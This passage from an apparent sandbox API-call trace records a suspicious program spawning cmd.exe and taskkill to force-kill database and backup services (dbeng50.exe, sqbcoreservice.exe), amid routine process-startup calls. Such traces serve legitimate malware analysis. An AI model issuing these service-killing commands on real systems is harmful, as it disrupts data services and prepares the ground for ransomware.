	[0043.445] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x49fe41ac | out: lpMode=0x49fe41ac) returned 0
	[0043.445] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0043.445] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49fe41b0 | out: lpMode=0x49fe41b0) returned 0
	[0043.446] GetConsoleOutputCP () returned 0x1b5
	[0043.446] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fe4260 | out: lpCPInfo=0x49fe4260) returned 1
	[0043.446] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0043.446] exit (_Code=128) 

Process:
	id = "49"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x49c75000"
	os_pid = "0x8b8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "48"
	os_parent_pid = "0x8c0"
	cmd_line = "taskkill  /f /im dbeng50.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 233
	os_tid = 0x8b4


Thread:
	id = 234
	os_tid = 0x8b0


Thread:
	id = 235
	os_tid = 0x8ac


Thread:
	id = 236
	os_tid = 0x8a8


Thread:
	id = 237
	os_tid = 0x8a4


Process:
	id = "50"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x492ac000"
	os_pid = "0x89c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im sqbcoreservice.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 238
	os_tid = 0x898

	[0043.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2efbac | out: lpSystemTimeAsFileTime=0x2efbac*(dwLowDateTime=0xff943a90, dwHighDateTime=0x1d52dc4)) 
	[0043.531] GetCurrentProcessId () returned 0x89c
	[0043.531] GetCurrentThreadId () returned 0x898
	[0043.531] GetTickCount () returned 0x1b173
	[0043.531] QueryPerformanceCounter (in: lpPerformanceCount=0x2efba4 | out: lpPerformanceCount=0x2efba4*=16384152167) returned 1
	[0043.532] GetModuleHandleA (lpModuleName=0x0) returned 0x4a160000
	[0043.532] __set_app_type (_Type=0x1) 
	[0043.533] __p__fmode () returned 0x74eb31f4
	[0043.533] __p__commode () returned 0x74eb31fc
	[0043.533] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1821a6) returned 0x0
	[0043.533] __getmainargs (in: _Argc=0x4a184238, _Argv=0x4a184240, _Env=0x4a18423c, _DoWildCard=0, _StartInfo=0x4a184140 | out: _Argc=0x4a184238, _Argv=0x4a184240, _Env=0x4a18423c) returned 0
	[0043.533] GetCurrentThreadId () returned 0x898
	[0043.533] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x898) returned 0x60
	[0043.533] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0043.533] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0043.533] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0043.534] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0043.534] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2efb3c | out: phkResult=0x2efb3c*=0x0) returned 0x2
	[0043.534] VirtualQuery (in: lpAddress=0x2efb73, lpBuffer=0x2efb0c, dwLength=0x1c | out: lpBuffer=0x2efb0c*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0043.534] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2efb0c, dwLength=0x1c | out: lpBuffer=0x2efb0c*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0043.534] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2efb0c, dwLength=0x1c | out: lpBuffer=0x2efb0c*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0043.534] VirtualQuery (in: lpAddress=0x1f3000, lpBuffer=0x2efb0c, dwLength=0x1c | out: lpBuffer=0x2efb0c*(BaseAddress=0x1f3000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0043.534] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2efb0c, dwLength=0x1c | out: lpBuffer=0x2efb0c*(BaseAddress=0x2f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0043.534] GetConsoleOutputCP () returned 0x1b5
	[0043.534] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a184260 | out: lpCPInfo=0x4a184260) returned 1
	[0043.534] SetConsoleCtrlHandler (HandlerRoutine=0x4a17e72a, Add=1) returned 1
	[0043.534] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0043.534] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0043.535] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0043.535] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a1841ac | out: lpMode=0x4a1841ac) returned 0
	[0043.535] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0043.535] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a1841b0 | out: lpMode=0x4a1841b0) returned 0
	[0043.535] GetEnvironmentStringsW () returned 0x662020*
	[0043.535] GetProcessHeap () returned 0x650000
	[0043.535] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xaca) returned 0x662af8
	[0043.535] FreeEnvironmentStringsW (penv=0x662020) returned 1
	[0043.535] GetProcessHeap () returned 0x650000
	[0043.535] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x660c58
	[0043.535] GetEnvironmentStringsW () returned 0x662020*
	[0043.535] GetProcessHeap () returned 0x650000
	[0043.535] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xaca) returned 0x6635d0
	[0043.535] FreeEnvironmentStringsW (penv=0x662020) returned 1
	[0043.535] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2eeaac | out: phkResult=0x2eeaac*=0x68) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x0, lpData=0x2eeab8*=0x0, lpcbData=0x2eeab0*=0x1000) returned 0x2
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x1, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x0, lpData=0x2eeab8*=0x1, lpcbData=0x2eeab0*=0x1000) returned 0x2
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x0, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x40, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x40, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x0, lpData=0x2eeab8*=0x40, lpcbData=0x2eeab0*=0x1000) returned 0x2
	[0043.536] RegCloseKey (hKey=0x68) returned 0x0
	[0043.536] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2eeaac | out: phkResult=0x2eeaac*=0x68) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x0, lpData=0x2eeab8*=0x40, lpcbData=0x2eeab0*=0x1000) returned 0x2
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x1, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x0, lpData=0x2eeab8*=0x1, lpcbData=0x2eeab0*=0x1000) returned 0x2
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x0, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x9, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x4, lpData=0x2eeab8*=0x9, lpcbData=0x2eeab0*=0x4) returned 0x0
	[0043.536] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2eeab4, lpData=0x2eeab8, lpcbData=0x2eeab0*=0x1000 | out: lpType=0x2eeab4*=0x0, lpData=0x2eeab8*=0x9, lpcbData=0x2eeab0*=0x1000) returned 0x2
	[0043.536] RegCloseKey (hKey=0x68) returned 0x0
	[0043.536] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163034
	[0043.536] srand (_Seed=0x5d163034) 
	[0043.537] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqbcoreservice.exe \""
	[0043.537] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqbcoreservice.exe \""
	[0043.537] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a185260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.537] GetProcessHeap () returned 0x650000
	[0043.537] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x210) returned 0x662020
	[0043.537] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x662028, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0043.537] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.537] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.537] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0043.537] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0043.537] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0043.537] GetProcessHeap () returned 0x650000
	[0043.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x662af8 | out: hHeap=0x650000) returned 1
	[0043.538] GetEnvironmentStringsW () returned 0x662238*
	[0043.538] GetProcessHeap () returned 0x650000
	[0043.538] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xae2) returned 0x664b98
	[0043.538] FreeEnvironmentStringsW (penv=0x662238) returned 1
	[0043.538] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0043.538] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0043.538] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0043.538] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0043.538] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0043.538] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0043.538] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0043.538] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0043.538] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0043.538] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0043.538] GetProcessHeap () returned 0x650000
	[0043.538] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x54) returned 0x665688
	[0043.538] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef878 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.538] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef878, lpFilePart=0x2ef874 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef874*="Desktop") returned 0x25
	[0043.538] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0043.538] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef5f4 | out: lpFindFileData=0x2ef5f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x661ea0
	[0043.539] FindClose (in: hFindFile=0x661ea0 | out: hFindFile=0x661ea0) returned 1
	[0043.539] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ef5f4 | out: lpFindFileData=0x2ef5f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x661ea0
	[0043.539] FindClose (in: hFindFile=0x661ea0 | out: hFindFile=0x661ea0) returned 1
	[0043.539] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0043.539] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ef5f4 | out: lpFindFileData=0x2ef5f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x661ea0
	[0043.539] FindClose (in: hFindFile=0x661ea0 | out: hFindFile=0x661ea0) returned 1
	[0043.539] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0043.539] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0043.539] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0043.539] GetProcessHeap () returned 0x650000
	[0043.539] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x664b98 | out: hHeap=0x650000) returned 1
	[0043.539] GetEnvironmentStringsW () returned 0x6640a8*
	[0043.539] GetProcessHeap () returned 0x650000
	[0043.539] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb36) returned 0x665ee8
	[0043.540] FreeEnvironmentStringsW (penv=0x6640a8) returned 1
	[0043.540] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a185260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.540] GetProcessHeap () returned 0x650000
	[0043.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665688 | out: hHeap=0x650000) returned 1
	[0043.540] GetProcessHeap () returned 0x650000
	[0043.540] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x400e) returned 0x666a28
	[0043.540] GetProcessHeap () returned 0x650000
	[0043.540] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x58) returned 0x662d78
	[0043.540] GetProcessHeap () returned 0x650000
	[0043.540] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4008) returned 0x66aa40
	[0043.540] GetProcessHeap () returned 0x650000
	[0043.541] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4008) returned 0x66ea50
	[0043.542] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0043.542] GetProcessHeap () returned 0x650000
	[0043.542] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x418) returned 0x662dd8
	[0043.542] SetErrorMode (uMode=0x0) returned 0x8003
	[0043.542] SetErrorMode (uMode=0x1) returned 0x0
	[0043.542] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x662de0, lpFilePart=0x2ef7f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x2ef7f0*="f") returned 0x31
	[0043.542] SetErrorMode (uMode=0x8003) returned 0x1
	[0043.542] GetProcessHeap () returned 0x650000
	[0043.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x662dd8, Size=0x9a) returned 0x662dd8
	[0043.543] GetProcessHeap () returned 0x650000
	[0043.543] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x662dd8) returned 0x9a
	[0043.543] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0043.543] GetProcessHeap () returned 0x650000
	[0043.543] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x72) returned 0x672a78
	[0043.543] GetProcessHeap () returned 0x650000
	[0043.543] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xd8) returned 0x662e80
	[0043.543] GetProcessHeap () returned 0x650000
	[0043.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x662e80, Size=0x72) returned 0x662e80
	[0043.543] GetProcessHeap () returned 0x650000
	[0043.543] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x662e80) returned 0x72
	[0043.543] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.543] GetProcessHeap () returned 0x650000
	[0043.544] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xe0) returned 0x662f00
	[0043.547] GetProcessHeap () returned 0x650000
	[0043.547] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x662f00, Size=0x76) returned 0x662f00
	[0043.547] GetProcessHeap () returned 0x650000
	[0043.547] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x662f00) returned 0x76
	[0043.547] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.547] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im sqbcoreservice.exe ", fInfoLevelId=0x1, lpFindFileData=0x2ef58c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef58c) returned 0xffffffff
	[0043.547] GetLastError () returned 0x3
	[0043.548] GetProcessHeap () returned 0x650000
	[0043.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66aa40 | out: hHeap=0x650000) returned 1
	[0043.548] GetProcessHeap () returned 0x650000
	[0043.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66ea50 | out: hHeap=0x650000) returned 1
	[0043.548] GetProcessHeap () returned 0x650000
	[0043.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666a28 | out: hHeap=0x650000) returned 1
	[0043.548] GetConsoleOutputCP () returned 0x1b5
	[0043.548] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a184260 | out: lpCPInfo=0x4a184260) returned 1
	[0043.548] GetUserDefaultLCID () returned 0x409
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a184950, cchData=8 | out: lpLCData=":") returned 2
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef9b8, cchData=128 | out: lpLCData="0") returned 2
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef9b8, cchData=128 | out: lpLCData="0") returned 2
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef9b8, cchData=128 | out: lpLCData="1") returned 2
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a184940, cchData=8 | out: lpLCData="/") returned 2
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a184d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a184d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a184d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a184cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a184c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a184c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a184c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a184930, cchData=8 | out: lpLCData=".") returned 2
	[0043.549] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a184920, cchData=8 | out: lpLCData=",") returned 2
	[0043.549] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0043.551] GetProcessHeap () returned 0x650000
	[0043.551] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20c) returned 0x662f80
	[0043.551] GetConsoleTitleW (in: lpConsoleTitle=0x662f80, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.551] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0043.551] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0043.551] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0043.551] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0043.551] GetProcessHeap () returned 0x650000
	[0043.551] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x400a) returned 0x666a28
	[0043.551] GetProcessHeap () returned 0x650000
	[0043.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666a28 | out: hHeap=0x650000) returned 1
	[0043.552] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0043.552] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0043.552] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0043.552] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0043.552] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0043.552] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0043.552] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0043.552] GetProcessHeap () returned 0x650000
	[0043.552] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x58) returned 0x663198
	[0043.552] GetProcessHeap () returned 0x650000
